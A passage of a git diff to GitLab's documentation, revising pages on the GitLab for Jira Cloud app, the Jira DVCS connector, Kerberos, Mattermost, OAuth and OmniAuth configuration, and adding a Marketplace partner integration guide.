the application descriptor, you must uninstall, then reinstall the application. -### Create a Marketplace listing +#### Create a Marketplace listing If you prefer to not use development mode on your Jira instance, you can create your own Marketplace listing for your instance. This enables your application @@ -180,9 +209,26 @@ To create a Marketplace listing: 1. Generate test license tokens for your application. NOTE: -This method uses [automated updates](#update-the-gitlabcom-for-jira-cloud-app) +This method uses [automated updates](#update-the-gitlab-for-jira-cloud-app) the same way as our GitLab.com Marketplace listing. +## Configure your GitLab instance to serve as a proxy for the GitLab for Jira Cloud app + +A GitLab instance can serve as a proxy for other GitLab instances using the GitLab for Jira Cloud app. +This can be useful if you are managing multiple GitLab instance but only want to [manually install](#install-the-gitlab-for-jira-cloud-app-manually) +the GitLab for Jira app once. + +To configure your GitLab instance to serve as a proxy: + +1. On the top bar, select **Main menu > Admin**. +1. On the left sidebar, select **Settings > General** (`/admin/application_settings/general`). +1. Expand the **GitLab for Jira App** section. +1. Select **Enable public key storage**. +1. Select **Save changes**. +1. [Install the GitLab for Jira Cloud app manually](#install-the-gitlab-for-jira-cloud-app-manually) + +Other GitLab instances using the proxy must configure the **Jira Connect Proxy URL** setting and the [OAuth application](#set-up-oauth-authentication) **Redirect URI** to point to the proxy instance. + ## Troubleshooting ### Browser displays a sign-in message when already signed in @@ -194,15 +240,14 @@ when you're already signed in: You need to sign in or sign up before continuing. ``` -The GitLab.com for Jira Cloud app uses an iframe to add namespaces on the +The GitLab for Jira Cloud app uses an iframe to add namespaces on the settings page. Some browsers block cross-site cookies, which can lead to this issue. -To resolve this issue, use either [Firefox](https://www.mozilla.org/en-US/firefox/) or -[Chrome](https://www.google.com/chrome/) or enable cross-site cookies in your browser. +To resolve this issue, set up [OAuth authentication](#set-up-oauth-authentication) and enable the `jira_connect_oauth` [feature flag](../../administration/feature_flags.md). ### Manual installation fails -You might get an error if you have installed the GitLab.com for Jira Cloud app from the official marketplace listing and replaced it with manual installation. To resolve this issue, disable the **Jira Connect Proxy URL** setting. +You might get an error if you have installed the GitLab for Jira Cloud app from the official marketplace listing and replaced it with manual installation. To resolve this issue, disable the **Jira Connect Proxy URL** setting. - In GitLab 15.7: @@ -216,3 +261,27 @@ You might get an error if you have installed the GitLab.com for Jira Cloud app f 1. Expand the **GitLab for Jira App** section. 1. Clear the **Jira Connect Proxy URL** text box. 1. Select **Save changes**. + +### Data sync fails with `Invalid JWT` error + +If the GitLab for Jira Cloud app continuously fails to sync data, it may be due to an outdated secret token. Atlassian can send new secret tokens that must be processed and stored by GitLab. +If GitLab fails to store the token or misses the new token request, an `Invalid JWT` error occurs. + +To resolve this issue on GitLab self-managed, follow one of the solutions below, depending on your app installation method. + +- If you installed the app from the official marketplace listing: + + 1. Open the GitLab for Jira Cloud app on Jira. + 1. Select **Change GitLab version**. + 1. Select **GitLab.com (SaaS)**. + 1. Select **Change GitLab version** again. + 1. Select **GitLab (self-managed)**. + 1. Enter your **GitLab instance URL**. + 1. Select **Save**. + +- If you [installed the GitLab for Jira Cloud app manually](#install-the-gitlab-for-jira-cloud-app-manually): + + - In GitLab 14.9 and later: + - Contact the [Jira Software Cloud support](https://support.atlassian.com/jira-software-cloud/) and ask to trigger a new installed lifecycle event for the GitLab for Jira Cloud app in your namespace. + - In all GitLab versions: + - Re-install the GitLab for Jira Cloud app. This might remove all already synced development panel data. diff --git a/doc/integration/jira/development_panel.md b/doc/integration/jira/development_panel.md index ee671dde3a8..f36b9f2c4c1 100644 --- a/doc/integration/jira/development_panel.md +++ b/doc/integration/jira/development_panel.md @@ -69,8 +69,8 @@ To simplify administration, we recommend that a GitLab group maintainer or group | Jira usage | GitLab.com customers need | GitLab self-managed customers need | |------------|---------------------------|------------------------------------| -| [Atlassian cloud](https://www.atlassian.com/migration/assess/why-cloud) | The [GitLab.com for Jira Cloud app](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud?hosting=cloud&tab=overview) installed from the [Atlassian Marketplace](https://marketplace.atlassian.com). This method offers real-time sync between GitLab.com and Jira. For more information, see [GitLab.com for Jira Cloud app](connect-app.md). | The GitLab.com for Jira Cloud app [using a workaround](connect-app.md#install-the-gitlabcom-for-jira-cloud-app-for-self-managed-instances). When the `jira_connect_oauth_self_managed` feature flag is enabled, you can install the app from the [Atlassian Marketplace](https://marketplace.atlassian.com/). For more information, see [Connect the GitLab.com for Jira Cloud app for self-managed instances](connect-app.md#connect-the-gitlabcom-for-jira-cloud-app-for-self-managed-instances). | -| Your own server | The [Jira DVCS (distributed version control system) connector](dvcs/index.md). This syncs data hourly. | The [Jira DVCS (distributed version control system) connector](dvcs/index.md). This syncs data hourly. | +| [Atlassian cloud](https://www.atlassian.com/migration/assess/why-cloud) | The [GitLab for Jira Cloud app](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud?hosting=cloud&tab=overview) from the [Atlassian Marketplace](https://marketplace.atlassian.com). This method offers real-time sync between GitLab.com and Jira. The method requires inbound connections for the setup and then pushes data to Jira through outbound connections. For more information, see [GitLab for Jira Cloud app](connect-app.md). | The GitLab for Jira Cloud app [installed manually](connect-app.md#install-the-gitlab-for-jira-cloud-app-manually). By default, you can install the app from the [Atlassian Marketplace](https://marketplace.atlassian.com/). The method requires inbound connections for the setup and then pushes data to Jira through outbound connections. For more information, see [Connect the GitLab for Jira Cloud app for self-managed instances](connect-app.md#connect-the-gitlab-for-jira-cloud-app-for-self-managed-instances). | +| Your own server | The [Jira DVCS connector](dvcs/index.md). This method syncs data every hour and works only with inbound connections. The method tries to set up webhooks in GitLab to implement real-time data sync, which does not work without outbound connections. | The [Jira DVCS connector](dvcs/index.md). This method syncs data every hour and works only with inbound connections. The method tries to set up webhooks in GitLab to implement real-time data sync, which does not work without outbound connections. | Each GitLab project can be configured to connect to an entire Jira instance. That means after configuration, one GitLab project can interact with all Jira projects in that instance. For: diff --git a/doc/integration/jira/dvcs/index.md b/doc/integration/jira/dvcs/index.md index 1fa96e20d01..e07f0e579b2 100644 --- a/doc/integration/jira/dvcs/index.md +++ b/doc/integration/jira/dvcs/index.md @@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w Use the Jira DVCS (distributed version control system) connector if you self-host your Jira instance, and you want to sync information between GitLab and Jira. If you use Jira Cloud, you should use the -[GitLab.com for Jira Cloud app](../connect-app.md) unless you specifically need the +[GitLab for Jira Cloud app](../connect-app.md) unless you specifically need the DVCS connector. When you configure the Jira DVCS connector, make sure your GitLab and Jira instances @@ -150,3 +150,30 @@ can refresh the data manually from the Jira interface: 1. Select **DVCS accounts**. 1. In the table, for the repository you want to refresh, in the **Last Activity** column, select the icon. + +## Migrate to the GitLab for Jira Cloud app + +If you are using DVCS with Jira Cloud, you should consider migrating to the GitLab for Jira app. +[DVCS for Jira Cloud will be deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/362168) in GitLab 16.0. + +To get started using the GitLab for Jira Cloud app, follow the guide [Install the GitLab for Jira Cloud app](../connect-app.md#install-the-gitlab-for-jira-cloud-app) . + +### Feature comparison of DVCS and GitLab for Jira Cloud app + +| Feature | DVCS (Jira Cloud) | GitLab for Jira Cloud app | +|--------------------|--------------------|---------------------------------------| +| Smart Commits | **{check-circle}** Yes | **{check-circle}** Yes | +| Sync MRs | **{check-circle}** Yes | **{check-circle}** Yes | +| Sync branches | **{check-circle}** Yes | **{check-circle}** Yes | +| Sync commits | **{check-circle}** Yes | **{check-circle}** Yes| +| Sync builds | **{dotted-circle}** No | **{check-circle}** Yes | +| Sync deployments | **{dotted-circle}** No | **{check-circle}** Yes | +| Sync feature flags | **{dotted-circle}** No | **{check-circle}** Yes | +| Sync interval | 60 Minutes | Real time | +| Create branches | **{dotted-circle}** No | **{check-circle}** Yes (Only GitLab SaaS) | +| Historic data sync | **{check-circle}** Yes | **{dotted-circle}** No | + +### Risks of migrating + +The GitLab for Jira Cloud app has a limited ability to sync historic data. +Only branches, commits, builds, deployments, and feature flags created after installing the GitLab for Jira Cloud app are synced with Jira. diff --git a/doc/integration/jira/index.md b/doc/integration/jira/index.md index 63cd472b0b9..2ad71a19cf7 100644 --- a/doc/integration/jira/index.md +++ b/doc/integration/jira/index.md @@ -19,9 +19,9 @@ in your GitLab project with any of your projects in Jira. ### Jira integration -This integration connects one or more GitLab projects to a Jira instance. The Jira instance -can be hosted by you or in [Atlassian cloud](https://www.atlassian.com/migration/assess/why-cloud). -The supported Jira versions are `v6.x`, `v7.x`, and `v8.x`. +This integration connects one or more GitLab projects to a Jira instance. You can host +the Jira instance yourself or in [Atlassian Cloud](https://www.atlassian.com/migration/assess/why-cloud). +The supported Jira versions are `6.x`, `7.x`, `8.x`, and `9.x`. <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> For an overview, see [Agile Management - GitLab-Jira Basic Integration](https://www.youtube.com/watch?v=fWvwkx5_00E&feature=youtu.be). @@ -35,7 +35,7 @@ connects all GitLab projects under a group or personal namespace. When configure relevant GitLab information, including related branches, commits, and merge requests, displays in the [development panel](https://support.atlassian.com/jira-software-cloud/docs/view-development-information-for-an-issue/). -To set up the Jira development panel integration, use the GitLab.com for Jira Cloud app +To set up the Jira development panel integration, use the GitLab for Jira Cloud app or the Jira DVCS (distributed version control system) connector, [depending on your installation](development_panel.md#configure-the-integration). @@ -52,6 +52,7 @@ or the Jira DVCS (distributed version control system) connector, | Display a list of [Jira issues](issues.md#view-jira-issues). | Yes. | No. | | Create a Jira issue from a [vulnerability or finding](../../user/application_security/vulnerabilities/index.md#create-a-jira-issue-for-a-vulnerability). | Yes. | No. | | Create a GitLab branch from a Jira issue. | No. | Yes, in the issue's [development panel](https://support.atlassian.com/jira-software-cloud/docs/view-development-information-for-an-issue/). | +| Mention a Jira issue ID in a GitLab merge request, and deployments are synced. | No. | Yes, in the issue's [development panel](https://support.atlassian.com/jira-software-cloud/docs/view-development-information-for-an-issue/). | ## Authentication in Jira @@ -72,7 +73,7 @@ If you integrate a private GitLab project with Jira, the private data is shared with users who have access to your Jira project. The [**Jira project integration**](#jira-integration) posts GitLab data in the form of comments in Jira issues. -The GitLab.com for Jira Cloud app and Jira DVCS connector share this data through the [**Jira Development Panel**](development_panel.md). +The GitLab for Jira Cloud app and Jira DVCS connector share this data through the [**Jira Development Panel**](development_panel.md). This method provides more fine-grained access control because access can be restricted to certain user groups or roles. ## Third-party Jira integrations diff --git a/doc/integration/jira/jira_cloud_configuration.md b/doc/integration/jira/jira_cloud_configuration.md index d47c84df5e5..9d52368f528 100644 --- a/doc/integration/jira/jira_cloud_configuration.md +++ b/doc/integration/jira/jira_cloud_configuration.md @@ -4,10 +4,10 @@ group: Integrations info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Create an API token for Jira in Atlassian cloud **(FREE)** +# Create a Jira Cloud API token **(FREE)** You need an API token to [integrate with Jira](index.md) -on Atlassian cloud. To create the API token: +in Atlassian Cloud. To create the API token: 1. Sign in to [Atlassian](https://id.atlassian.com/manage-profile/security/api-tokens) using an account with *write* access to Jira projects. diff --git a/doc/integration/jira/jira_server_configuration.md b/doc/integration/jira/jira_server_configuration.md index fd8e018fd0c..7dee99b024e 100644 --- a/doc/integration/jira/jira_server_configuration.md +++ b/doc/integration/jira/jira_server_configuration.md @@ -29,7 +29,7 @@ This process creates a user named `gitlab`: - **Username**: Jira creates the username by using the email prefix. You can change this username later. - **Password**: You must create a password, because the GitLab integration doesn't - support SSO, such as SAML. To create the password, visit the user profile, look up + support SSO, such as SAML. To create the password, go to the user profile, look up the username, and set a password. 1. Select **Create user**. diff --git a/doc/integration/kerberos.md b/doc/integration/kerberos.md index a0441b79490..f0c1a75041e 100644 --- a/doc/integration/kerberos.md +++ b/doc/integration/kerberos.md @@ -99,9 +99,9 @@ to authenticate with Kerberos tokens. #### Enable single sign-on -See [Configure initial settings](omniauth.md#configure-initial-settings) -for initial settings to enable single sign-on and add Kerberos servers -as an identity provider. +Edit the [common configuration file settings](omniauth.md#configure-common-settings) +to add `kerberos` as a single sign-on provider. This enables Just-In-Time +account provisioning for users who do not have an existing GitLab account. ## Create and link Kerberos accounts @@ -124,7 +124,7 @@ existing GitLab account. To do so: If you're not an administrator: -1. In the top-right corner, select your avatar. +1. In the upper-right corner, select your avatar. 1. Select **Edit profile**. 1. On the left sidebar, select **Account**. 1. In the **Service sign-in** section, select **Connect Kerberos**. @@ -138,7 +138,8 @@ with your Kerberos credentials. The first time users sign in to GitLab with their Kerberos accounts, GitLab creates a matching account. -Before you continue, review the [Configure initial settings](omniauth.md#configure-initial-settings) options in Omnibus and GitLab source. You must also include `kerberos`. +Before you continue, review the [common configuration settings](omniauth.md#configure-common-settings) +options in Omnibus and GitLab source. You must also include `kerberos`. With that information at hand: @@ -352,7 +353,7 @@ when trying to clone via HTTPS. When using Kerberos ticket-based authentication in an Active Directory domain, it may be necessary to increase the maximum header size allowed by NGINX, as extensions to the Kerberos protocol may result in HTTP authentication headers -larger than the default size of 8kB. Configure `large_client_header_buffers` +larger than the default size of 8 kB. Configure `large_client_header_buffers` to a larger value in [the NGINX configuration](https://nginx.org/en/docs/http/ngx_http_core_module.html#large_client_header_buffers). ## Troubleshooting diff --git a/doc/integration/mattermost/index.md b/doc/integration/mattermost/index.md index df6130a7540..42592a0dff2 100644 --- a/doc/integration/mattermost/index.md +++ b/doc/integration/mattermost/index.md @@ -307,7 +307,7 @@ These settings can also be configured in `/var/opt/gitlab/mattermost/config.json Enabling this feature allows users to control how often they receive email notifications. -Email batching can be enabled in the Mattermost **System Console** by going to the **Environment > SMTP** tab, and setting the **Enable Email Batching** setting to **True**. +Email batching can be enabled in the Mattermost **System Console** by navigating to the **Environment > SMTP** tab, and setting the **Enable Email Batching** setting to **True**. This setting can also be configured in `/var/opt/gitlab/mattermost/config.json`. @@ -360,7 +360,7 @@ When upgrading the Mattermost version, it is essential to check the for Mattermost to address any changes or migrations that need to be performed. Starting with GitLab 11.0, GitLab Mattermost can be upgraded through the regular Omnibus GitLab update process. When upgrading previous versions of -GitLab, the update process can only be used if Mattermost configuration settings have not been changed outside of GitLab. That is, no changes to Mattermost's `config.json` +GitLab, the update process can only be used if Mattermost configuration settings have not been changed outside of GitLab. That is, no changes to the Mattermost `config.json` file have been made - either directly or via the Mattermost **System Console**, which saves changes to `config.json`. If you are upgrading to at least GitLab 11.0 or have only configured Mattermost using `gitlab.rb`, you can upgrade GitLab using Omnibus and then run `gitlab-ctl reconfigure` to upgrade GitLab Mattermost to the latest version. @@ -402,7 +402,7 @@ generates the `config.json` file, and instead passes limited configuration setti The settings that continue to be supported in `gitlab.rb` can be found in [`gitlab.rb.template`](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/files/gitlab-config-template/gitlab.rb.template). -From GitLab 11.0, other Mattermost settings can be configured through Mattermost's System Console, +From GitLab 11.0, other Mattermost settings can be configured through the Mattermost System Console, by editing `/var/opt/gitlab/mattermost/config.json`, or by using `mattermost['env']` in `gitlab.rb`. If you would like to keep configuring Mattermost using `gitlab.rb`, you can take the following actions @@ -490,9 +490,9 @@ If you encounter any issues [visit the GitLab Mattermost troubleshooting forum]( If you choose to upgrade Mattermost outside of the Omnibus GitLab automation, [follow this guide](https://docs.mattermost.com/administration/upgrade.html). -## OAuth2 sequence diagram +## OAuth 2.0 sequence diagram -The following image is a sequence diagram for how GitLab works as an OAuth2 +The following image is a sequence diagram for how GitLab works as an OAuth 2.0 provider for Mattermost. You can use this to troubleshoot errors in getting the integration to work: @@ -520,7 +520,7 @@ sequenceDiagram ## Community support resources -For help and support around your GitLab Mattermost deployment please see: +For help and support around your GitLab Mattermost deployment, see: - [Troubleshooting Mattermost issues](https://docs.mattermost.com/install/troubleshooting.html). - [Mattermost GitLab Issues Support Handbook](https://docs.mattermost.com/process/support.html?highlight=omnibus#gitlab-issues). diff --git a/doc/integration/oauth2_generic.md b/doc/integration/oauth2_generic.md index c51400113d4..2c0439a328c 100644 --- a/doc/integration/oauth2_generic.md +++ b/doc/integration/oauth2_generic.md @@ -54,7 +54,9 @@ To configure the provider: :::TabTitle Linux package (Omnibus) - 1. [Configure the initial settings](omniauth.md#configure-initial-settings). + 1. Edit the [common configuration file settings](omniauth.md#configure-common-settings) + to add `oauth2_generic` as a single sign-on provider. This enables Just-In-Time + account provisioning for users who do not have an existing GitLab account. 1. Edit `/etc/gitlab/gitlab.rb` to add the configuration for your provider. For example: ```ruby @@ -96,7 +98,9 @@ To configure the provider: :::TabTitle Helm chart (Kubernetes) - 1. [Configure the initial settings](omniauth.md#configure-initial-settings). + 1. Edit the [common configuration file settings](omniauth.md#configure-common-settings) + to add `oauth2_generic` as a single sign-on provider. This enables Just-In-Time + account provisioning for users who do not have an existing GitLab account. 1. Export the Helm values: ```shell @@ -146,7 +150,9 @@ To configure the provider: :::TabTitle Self-compiled (source) - 1. [Configure the initial settings](omniauth.md#configure-initial-settings). + 1. Edit the [common configuration file settings](omniauth.md#configure-common-settings) + to add `oauth2_generic` as a single sign-on provider. This enables Just-In-Time + account provisioning for users who do not have an existing GitLab account. 1. Edit `/home/git/gitlab/config/gitlab.yml`: ```yaml diff --git a/doc/integration/oauth_provider.md b/doc/integration/oauth_provider.md index 66ee278cdf5..3e8c892cf38 100644 --- a/doc/integration/oauth_provider.md +++ b/doc/integration/oauth_provider.md @@ -6,47 +6,41 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Configure GitLab as an OAuth 2.0 authentication identity provider -[OAuth 2](https://oauth.net/2/) provides to client applications a 'secure delegated -access' to server resources on behalf of a resource owner. OAuth 2 allows +[OAuth 2.0](https://oauth.net/2/) provides secure delegated server resource +access to client applications on behalf of a resource owner. OAuth 2 allows authorization servers to issue access tokens to third-party clients with the approval of the resource owner or the end-user. -OAuth 2 can be used: +You can use GitLab as an OAuth 2 authentication identity provider by adding the +following types of OAuth 2 application to an instance: -- To allow users to sign in to your application with their GitLab.com account. -- To set up GitLab.com for authentication to your GitLab instance. See - [GitLab OmniAuth](gitlab.md). +- [User owned applications](#create-a-user-owned-application). +- [Group owned applications](#create-a-group-owned-application). +- [Instance-wide applications](#create-an-instance-wide-application). -The 'GitLab Importer' feature also uses OAuth 2 to give access -to repositories without sharing user credentials to your GitLab.com account. +These methods only differ by [permission level](../user/permissions.md). The +default callback URL is the SSL URL `https://your-gitlab.example.com/users/auth/gitlab/callback`. +You can use a non-SSL URL instead, but you should use an SSL URL. -GitLab supports several ways of adding a new OAuth 2 application to an instance: +After adding an OAuth 2 application to an instance, you can use OAuth 2 to: -- [User owned applications](#create-a-user-owned-application) -- [Group owned applications](#create-a-group-owned-application) -- [Instance-wide applications](#create-an-instance-wide-application) +- Enable users to sign in to your application with their GitLab.com account. +- Set up GitLab.com for authentication to your GitLab instance. For more information, + see [integrating your server with GitLab.com](gitlab.md). -The only difference between these methods is the [permission](../user/permissions.md) -levels. The default callback URL is `https://your-gitlab.example.com/users/auth/gitlab/callback` (you can also use a non-SSL URL, but you should use SSL URLs). - -This document describes how you can use GitLab as an OAuth 2.0 authentication identity provider. - -- OAuth 2 applications can be created and managed using the GitLab UI (described below) - or managed using the [Applications API](../api/applications.md). - After an application is created, external services can manage access tokens using the [OAuth 2 API](../api/oauth2.md). -- To allow users to sign in to GitLab using third-party OAuth 2 providers, see - [OmniAuth documentation](omniauth.md). ## Create a user-owned application -To add a new application for your user: +To create a new application for your user: -1. In the top-right corner, select your avatar. +1. On the top bar, in the upper-right corner, select your avatar. 1. Select **Edit profile**. 1. On the left sidebar, select **Applications**. -1. Enter a **Name**, **Redirect URI** and OAuth 2 scopes as defined in [Authorized Applications](#view-all-authorized-applications). - The **Redirect URI** is the URL where users are sent after they authorize with GitLab. +1. Enter a **Name** and **Redirect URI**. +1. Select OAuth 2 **Scopes** as defined in [Authorized Applications](#view-all-authorized-applications). +1. In the **Redirect URI**, enter the URL where users are sent after they authorize with GitLab. 1. Select **Save application**. GitLab provides: - The OAuth 2 Client ID in the **Application ID** field. @@ -54,17 +48,19 @@ To add a new application for your user: - In the **Secret** field in GitLab 14.1 and earlier. - By selecting **Copy** in the **Secret** field [in GitLab 14.2 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/332844). + - The **Renew secret** function in [GitLab 15.9 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/338243). Use this function to generate and copy a new secret for this application. Renewing a secret prevents the existing application from functioning until the credentials are updated. ## Create a group-owned application > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/16227) in GitLab 13.11. -To add a new application for a group: +To create a new application for a group: 1. Go to the desired group. 1. On the left sidebar, select **Settings > Applications**. -1. Enter a **Name**, **Redirect URI** and OAuth 2 scopes as defined in [Authorized Applications](#view-all-authorized-applications). - The **Redirect URI** is the URL where users are sent after they authorize with GitLab. +1. Enter a **Name** and **Redirect URI**. +1. Select OAuth 2 scopes as defined in [Authorized Applications](#view-all-authorized-applications). +1. In the **Redirect URI**, enter the URL where users are sent after they authorize with GitLab. 1. Select **Save application**. GitLab provides: - The OAuth 2 Client ID in the **Application ID** field. @@ -72,6 +68,7 @@ To add a new application for a group: - In the **Secret** field in GitLab 14.1 and earlier. - By selecting **Copy** in the **Secret** field [in GitLab 14.2 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/332844). + - The **Renew secret** function in [GitLab 15.9 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/338243). Use this function to generate and copy a new secret for this application. Renewing a secret prevents the existing application from functioning until the credentials are updated. ## Create an instance-wide application @@ -81,33 +78,33 @@ To create an application for your GitLab instance: 1. On the left sidebar, select **Applications**. 1. Select **New application**. -When creating application in the **Admin Area** , you can mark it as _trusted_. +When creating application in the **Admin Area** , mark it as **trusted**. The user authorization step is automatically skipped for this application. ## View all authorized applications To see all the application you've authorized with your GitLab credentials: -1. On the top bar, in the top right corner, select your avatar. +1. On the top bar, in the upper-right corner, select your avatar. 1. Select **Edit profile** and then select **Applications**. -1. Scroll down to the **Authorized applications** section. +1. See the **Authorized applications** section. -The GitLab OAuth 2 applications support scopes, which allow various actions that any given -application can perform. Available scopes are depicted in the following table. +The GitLab OAuth 2 applications support scopes, which allow application to perform +different actions. See the following table for all available scopes. | Scope | Description | | ------------------ | ----------- | | `api` | Grants complete read/write access to the API, including all groups and projects, the container registry, and the package registry. | | `read_user` | Grants read-only access to the authenticated user's profile through the /user API endpoint, which includes username, public email, and full name. Also grants access to read-only API endpoints under /users. | -| `read_api` | Grants read access to the API, including all groups and projects, the container registry, and the package registry. | -| `read_repository` | Grants read-only access to repositories on private projects using Git-over-HTTP or the Repository Files API. | +| `read_api` | Grants read access to the API, including all groups and projects, the container registry, and the package registry. | +| `read_repository` | Grants read-only access to repositories on private projects using Git-over-HTTP or the Repository Files API. | | `write_repository` | Grants read-write access to repositories on private projects using Git-over-HTTP (not using the API). | -| `read_registry` | Grants read-only access to container registry images on private projects. | +| `read_registry` | Grants read-only access to container registry images on private projects. | | `write_registry` | Grants read-only access to container registry images on private projects. | | `sudo` | Grants permission to perform API actions as any user in the system, when authenticated as an administrator user. | | `openid` | Grants permission to authenticate with GitLab using [OpenID Connect](openid_connect_provider.md). Also gives read-only access to the user's profile and group memberships. | -| `profile` | Grants read-only access to the user's profile data using [OpenID Connect](openid_connect_provider.md). | -| `email` | Grants read-only access to the user's primary email address using [OpenID Connect](openid_connect_provider.md). | +| `profile` | Grants read-only access to the user's profile data using [OpenID Connect](openid_connect_provider.md). | +| `email` | Grants read-only access to the user's primary email address using [OpenID Connect](openid_connect_provider.md). | At any time you can revoke any access by selecting **Revoke**. @@ -130,9 +127,21 @@ When applications are deleted, all grants and tokens associated with the applica > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/374588) in GitLab 15.4 [with a flag](../administration/feature_flags.md) named `hash_oauth_secrets`. Disabled by default. > - [Enabled on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/issues/374588) in GitLab 15.8. +> - [Enabled on self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/374588) in GitLab 15.9. FLAG: -On self-managed GitLab, by default, this feature is not available. To make it available, ask an administrator to [enable the feature flag](../administration/feature_flags.md) named `hash_oauth_secrets`. +On self-managed GitLab, by default this feature is available. To hide the feature, ask an administrator to [disable the feature flag](../administration/feature_flags.md) named `hash_oauth_secrets`. On GitLab.com, this feature is available. -By default, OAuth application secrets are stored as plain text in the database. When enabled, OAuth application secrets are stored in the database in hashed format and are only available to users immediately after creating OAuth applications. +By default, GitLab stores OAuth application secrets in the database in hashed format. These secrets are only available to users immediately after creating OAuth applications. In +earlier versions of GitLab, application secrets are stored as plain text in the database. + +## Other ways to use OAuth 2 in GitLab + +You can: + +- Create and manage OAuth 2 applications using the [Applications API](../api/applications.md). +- Enable users to sign in to GitLab using third-party OAuth 2 providers. For more + information, see the [OmniAuth documentation](omniauth.md). +- Use the GitLab Importer with OAuth 2 to give access to repositories without + sharing user credentials to your GitLab.com account. diff --git a/doc/integration/omniauth.md b/doc/integration/omniauth.md index 2dd8505b558..61019915c52 100644 --- a/doc/integration/omniauth.md +++ b/doc/integration/omniauth.md @@ -20,7 +20,6 @@ GitLab supports the following OmniAuth providers. | [AliCloud](alicloud.md) | `alicloud` | | [Atlassian](../administration/auth/atlassian.md) | `atlassian_oauth2` | | [Auth0](auth0.md) | `auth0` | -| [Authentiq](../administration/auth/authentiq.md) | `authentiq` | | [AWS Cognito](../administration/auth/cognito.md) | `cognito` | | [Azure v2](azure.md) | `azure_activedirectory_v2` | | [Azure v1](azure.md) | `azure_oauth2` | @@ -38,12 +37,12 @@ GitLab supports the following OmniAuth providers. | [SAML](saml.md) | `saml` | | [Twitter](twitter.md) | `twitter` | -## Initial settings +## Configure common settings Before you configure the OmniAuth provider, configure the settings that are common for all providers. -Omnibus, Docker, and source | Helm chart | Description | Default value +Linux package, Docker, and self-compiled | Helm chart | Description | Default value ----------------------------|------------|-------------|----------- `allow_single_sign_on` | `allowSingleSignOn` | List of providers that automatically create a GitLab account. The provider names are available in the **OmniAuth provider name** column in the [supported providers table](#supported-providers). | `false`, which means that signing in using your OmniAuth provider account without a pre-existing GitLab account is not allowed. You must create a GitLab account first, and then connect it to your OmniAuth provider account through your profile settings. `auto_link_ldap_user` | `autoLinkLdapUser` | Creates an LDAP identity in GitLab for users that are created through an OmniAuth provider. You can enable this setting if you have [LDAP integration](../administration/auth/ldap/index.md) enabled. Requires the `uid` of the user to be the same in both LDAP and the OmniAuth provider. | `false` @@ -104,6 +103,27 @@ To change the OmniAuth settings: helm upgrade -f gitlab_values.yaml gitlab gitlab/gitlab ``` + :::TabTitle Docker + + 1. Edit `docker-compose.yml`: + + ```yaml + version: "3.6" + services: + gitlab: + environment: + GITLAB_OMNIBUS_CONFIG: | + gitlab_rails['omniauth_allow_single_sign_on'] = ['saml', 'twitter'] + gitlab_rails['omniauth_auto_link_ldap_user'] = true + gitlab_rails['omniauth_block_auto_created_users'] = true + ``` + + 1. Save the file and restart GitLab: + + ```shell + docker compose up -d + ``` + :::TabTitle Self-compiled (source) 1. Edit `/home/git/gitlab/config/gitlab.yml`: @@ -214,7 +234,7 @@ created, you can activate an OmniAuth provider. For example, if you originally s provider like Twitter. 1. Sign in to GitLab with your GitLab credentials, LDAP, or another OmniAuth provider. -1. On the top bar, in the top right corner, select your avatar. +1. On the top bar, in the upper-right corner, select your avatar. 1. Select **Edit profile**. 1. On the left sidebar, select **Account**. 1. In the **Connected Accounts** section, select the OmniAuth provider, such as Twitter. @@ -503,7 +523,7 @@ There are two methods to update the `extern_uid`: Identity.where(extern_uid: 'old-id').update!(extern_uid: 'new-id')` ``` -## Limitations +## Known issues Most supported OmniAuth providers don't support Git over HTTP password authentication. As a workaround, you can authenticate using a [personal access token](../user/profile/personal_access_tokens.md). diff --git a/doc/integration/partner_marketplace.md b/doc/integration/partner_marketplace.md new file mode 100644 index 00000000000..a15457b5b0c --- /dev/null +++ b/doc/integration/partner_marketplace.md @@ -0,0 +1,64 @@ +--- +stage: Fulfillment +group: Commerce Integrations +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +--- + +# Marketplace partner integration guide + +GitLab supports automation for selected distribution marketplaces to process sales of GitLab products to authorized +channel partners. Marketplace partners can use the GitLab Marketplace APIs to integrate their systems with GitLab to +sell GitLab subscriptions on their site. + +This document's target audience is third-party developers for Marketplace partners. + +## How the Marketplace APIs work + +The Marketplace APIs are hosted in the [Customers Portal](https://customers.gitlab.com/). The Customers Portal allows +individual customers to purchase and manage GitLab subscriptions and supports APIs for partners +to make sales on behalf of their customers. The Customers Portal integrates with other GitLab services, including +Zuora and Salesforce, to provide a task-oriented interface for users. + +The following example shows a typical purchase flow of request and response between the following components: + +- Customer +- Marketplace partner system +- Customers Portal +- Zuora +- Salesforce + +```mermaid +sequenceDiagram + participant Customer + participant Marketplace partner system + participant Customers Portal + participant Zuora + participant Salesforce + Customer ->> Marketplace partner system: Place order to purchase GitLab subscription + Marketplace partner system ->> Customers Portal: Get OAuth token + Customers Portal ->> Marketplace partner system: Access token + Marketplace partner system ->> Customers Portal: Place order + Customers Portal ->> Zuora: Create Zuora subscription + Customers Portal ->> Salesforce: Create Salesforce objects + Zuora ->> Customers Portal: Success response with Zuora subscription data + Customers Portal ->> Marketplace partner system: Success response with order ID + Zuora ->> Customers Portal: Zuora callout event + Customers Portal ->> Customer: send license notification + Marketplace partner system ->> Customers Portal: Poll order status + Customers Portal ->> Marketplace partner system: Success response with order status +``` + +## Prerequisites + +Before a marketplace partner client can use the Marketplace API, GitLab must set up the following configurations for the client: + +1. Client credential. Marketplace APIs are secured with OAuth 2.0. A client credential is required to get the OAuth token. +1. Invoice owner account in Zuora system. Required for invoice processing. +1. Distributor 